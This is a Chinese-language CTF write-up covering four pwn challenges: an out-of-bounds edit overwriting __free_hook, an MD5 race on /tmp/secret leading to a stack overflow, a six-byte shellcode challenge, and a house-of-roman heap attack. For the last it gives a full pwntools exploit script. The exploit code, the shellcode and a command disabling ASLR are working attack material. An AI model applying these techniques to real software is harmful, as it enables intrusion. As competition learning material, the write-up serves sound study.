跟学校的队伍参加了又一次 ?网杯
,记录一下 pwn 的 writeup。
gettingstart
binary & exploit here
这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange
binary & exploit here
这道题目真是坑了很久,看到 strtoul
就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。比赛结束后通过堆风水解出了题目,后来看 白泽 的师傅的解法时,发现更简单,这里就介绍一下师傅的解法,用到了 libc 的 got 机制。
漏洞出现在 edit 功能里,存在数组越界,可以通过这个功能来 leak 和 overwrite。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
void edit()
{
unsigned __int64 idx; // rax
__int64 v1; // ST00_8
char s[24]; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which goods you need to modify?");
fgets(s, 24, stdin);
idx = strtoul(s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", good_list[idx]->good, idx);
good_list[v1]->good[read(0, good_list[v1]->good, 8uLL)] = 0;
}
|
leak 时可以用 malloc(0)
,这样在输入时 fd 就不会被 \0
截断
1
2
3
4
5
6
7
8
|
puts("How long is your goods name?");
fgets(s, 24, stdin);
size = strtoul(s, 0LL, 0);
p_g = (struct GOOD *)malloc(0x10uLL);
p_g->money = 999LL;
p_g->good = (char *)malloc(size);
puts("What is your goods name?");
p_g->good[(signed int)read(0, p_g->good, size) - 1] = 0;// size == 0
|
这样通过 unsorted bin leak 就能 leak 出一个和 main_arena 相关的地址,通过这个地址可以找到 libc 的基址。
leak 完之后再次通过越界写改 __free_hook
即可,我的做法是通过堆风水,比较麻烦。后来发现白泽的师傅使用了 libc.got['__free_hook']
,改写 __free_hook
的 got,这样实现起来就方便很多了。
1
2
3
4
5
6
7
8
9
10
11
|
pwndbg> codebase
codebase : 0x55d24159a000
pwndbg> telescope (0x2021E0+0x55d24159a000-0xb0)
00:0000│ 0x55d24179c130 ◂— 0xa3831 /* '18\n' */
01:0008│ 0x55d24179c138 —▸ 0x7f9aa4cbcef8 —▸ 0x7f9aa4cbf7a8 (__free_hook) ◂— 0x0
02:0010│ 0x55d24179c140 —▸ 0x55d241c32400 ◂— 0x0
03:0018│ 0x55d24179c148 —▸ 0x55d241c32450 —▸ 0x55d24179c0a8 ◂— 0xa31 /* '1\n' */
04:0020│ 0x55d24179c150 —▸ 0x55d241c32470 —▸ 0x55d24179c0b0 ◂— 0xa32 /* '2\n' */
05:0028│ 0x55d24179c158 —▸ 0x55d241c32490 —▸ 0x55d24179c0b8 ◂— 0xa33 /* '3\n' */
06:0030│ 0x55d24179c160 —▸ 0x55d241c324b0 —▸ 0x55d24179c0c0 ◂— 0xa34 /* '4\n' */
07:0038│ 0x55d24179c168 —▸ 0x55d241c324d0 —▸ 0x55d24179c0c8 ◂— 0xa35 /* '5\n' */
|
huwang
binary & exploit here
听 charlie 师傅说这道题目抄了他给国赛出的题。。。
堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom
中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
void __fastcall secret_in_secret(char *rdi0)
{
char v1; // ST1B_1
int s_len; // [rsp+1Ch] [rbp-214h]
char occupation[256]; // [rsp+20h] [rbp-210h]
char s[264]; // [rsp+120h] [rbp-110h]
unsigned __int64 v5; // [rsp+228h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
get_str(occupation, 255LL);
s_len = snprintf(
s,
255uLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
"....................................................................................................",
rdi0,
occupation);
puts("Here is your introduce");
puts(s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, s, s_len - 1); // overflow
printf("The final presentation is as follows:%s\n", s);
}
|
其中 md5 运算的轮数是用户决定的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
puts("Input how many rounds do you want to encrypt the secret:");
how_many = get_int();
if ( how_many > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !how_many )
{
printf("At least encrypt one time", s_secret);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 01001);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < how_many ) // negative
{
MD5((__int64)s_secret, 16LL, (__int64)s_secret);
LODWORD(v2) = v2 + 1;
}
|
只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signed
和 unsigned
比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。
这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前
1
2
3
4
5
6
7
|
HIDWORD(v2) = open("/tmp/secret", 01001);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < how_many ) // negative
{
MD5((__int64)s_secret, 16LL, (__int64)s_secret);
LODWORD(v2) = v2 + 1;
}
|
这里 open
是以 O_WRONLY | O_TRUNC
的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0,因此此时第二个 io 将得到一个空的 /tmp/secret
,因此只要我们输入 MD5('\0' * 16)
即可通过后边的 memcpy 验证,进入漏洞函数。
进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts
的方法。运气比较好,rdx 满足条件。
six
binary & exploit here
总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。
首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,shellcode 权限是 rwx 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void mmap_rwx()
{
int fd; // ST04_4
char buf[12]; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, buf, 6uLL);
read(fd, &buf[8], 6uLL);
dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}
|
程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足
- 3 个奇数 opcode,3个偶数 opcode
- 各不相同
程序给的 shellcode 为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
.data:0000000000202020 ; char sc[1]
.data:0000000000202020 sc: ; DATA XREF: main+71↑o
.data:0000000000202020 ; main+87↑o ...
.data:0000000000202020 mov rsp, rdi
.data:0000000000202023 xor rbp, rbp
.data:0000000000202026 xor rax, rax
.data:0000000000202029 xor rbx, rbx
.data:000000000020202C xor rcx, rcx
.data:000000000020202F xor rdx, rdx
.data:0000000000202032 xor rdi, rdi
.data:0000000000202035 xor rsi, rsi
.data:0000000000202038 xor r8, r8
.data:000000000020203B xor r9, r9
.data:000000000020203E xor r10, r10
.data:0000000000202041 xor r11, r11
.data:0000000000202044 xor r12, r12
.data:0000000000202047 xor r13, r13
.data:000000000020204A xor r14, r14
.data:000000000020204D xor r15, r15
|
清空了除 rsp
和 rip
之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈
1
2
3
4
|
.text:0000000000000C87 mov rdx, cs:stack
.text:0000000000000C8E mov rax, [rbp+var_28]
.text:0000000000000C92 mov rdi, rdx
.text:0000000000000C95 call rax
|
这样就可以通过 0 号系统调用,即 sys_read
来读取一部分内容了,很自然的想法是读到栈顶(
1
2
3
4
5
6
7
8
|
read = asm('''
push rsp
pop rsi
mov edx, esi
syscall
''')
assert len(read) < 7
io.sendafter("shellcode:\n", read)
|
这段 shellcode 是符合要求的。
当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0)
即可。成功率不是 100% 但也相当可观了。
calendar
off-by-one 和 uaf 的漏洞很容易发现,关键就在没有 leak,主办方也提示了使用 house of roman
这种方法。
和原始的 house of roman 不同的是,这里不能直接 malloc 出在 unsorted bin 范围内的 chunk,但因为有 off-by-one,这个不是问题,通过 off-by-one 伪造 size 即可。
另外这道题目当时没给 libc,但可以使用其他题目的 libc,姿势来自 muhe 师傅分享过的一个 ppt
另外调试的时候可以关闭本地的 aslr。
1
|
# echo 0 > /proc/sys/kernel/randomize_va_space
|
最后贴一下我的 exp,写了注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import os
import sys
elfPath = "./task_calendar"
libcPath = "./libc.so.6"
remoteAddr = "117.78.26.133"
remotePort = 31666
context.binary = elfPath
elf = context.binary
# if sys.argv[1] == "l":
# io = process(elfPath, timeout = 5)
# libc = elf.libc
# else:
# if sys.argv[1] == "d":
# io = process(elfPath, env = {"LD_PRELOAD": libcPath})
# else:
# io = remote(remoteAddr, remotePort, timeout = 5)
# if libcPath:
# libc = ELF(libcPath)
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))
def DEBUG():
base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
info("edit -> {:#x}".format(0xEC8 + base))
info("free -> {:#x}".format(0xF0B + base))
info("malloc -> {:#x}".format(0xDC6 + base))
raw_input("DEBUG: ")
def add(idx, size):
assert 1 <= idx <= 4
assert 0 <= size <= 0x68
io.sendlineafter("choice> ", "1")
io.sendlineafter("choice> ", str(idx))
io.sendlineafter("size> ", str(size))
def edit(idx, size, info):
assert 1 <= idx <= 4
io.sendlineafter("choice> ", "2")
io.sendlineafter("choice> ", str(idx))
io.sendlineafter("size> ", str(size))
io.sendafter("info> ", info)
sleep(0.01)
def delete(idx):
assert 1 <= idx <= 4
io.sendlineafter("choice> ", "3")
io.sendlineafter("choice> ", str(idx))
if __name__ == "__main__":
while True:
io = process(elfPath, timeout = 5)
libc = elf.libc
# io = remote(remoteAddr, remotePort, timeout = 5)
io.sendlineafter("name> ", "m4x")
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
# forge unsorted bin
edit(3, 0x60, flat(0, 0, 0x90, 0x51) + '\n')
edit(1, 0x68, '0' * 0x68 + '\x91')
delete(2) # chunk2 -> main_arena + 88
edit(1, 0x68, '1' * 0x68 + '\x71')
delete(1) # chunk1
delete(3) # chunk3 -> chunk1
edit(3, 1, '\x70\x70') # chunk3 -> chunk2 -> main_arena + 88
edit(2, 1, '\xfd\x1a') # chunk3 -> chunk2 -> __malloc_hook - 0x13 -> 0x7f
add(1, 0x68) # chunk2 -> __malloc_hook - 0x13 -> 0x7f
add(4, 0x68) # __malloc_hook - 0x13 -> 0x7f
add(3, 0x68) # 0x7f
delete(4) # chunk4 -> 0x7f
edit(4, 7, p64(0)) # chunk4
# unsorted bin attack
add(1, 0x68)
edit(1, 9, flat(0, '\0', '\x1b'))
add(1, 0x68)
# partial overwrite
# DEBUG()
libc.sym['one_gadget'] = 0xf02a4
libc.address = 0x7ffff7a0d000
info("one_gadget -> {:#x}".format(libc.sym['one_gadget']))
edit(3, 5, '\0\0\0' + p64(libc.sym['one_gadget'])[: 3])
# trigger one_gadget
delete(4)
delete(4)
try:
io.sendlineafter("echo ABCDEFG")
io.recvuntil("ABCDEFG")
io.sendline("ls")
io.interactive()
except:
io.close()
|
再贴一下其他师父这道题目的 wp
http://p4nda.top/2018/10/14/hwb-ctf-2018/#calendar
https://veritas501.space/2018/10/15/护网杯%20pwn%20wp/
https://www.anquanke.com/post/id/162121
以及 house of roman 的参考
https://www.anquanke.com/post/id/162121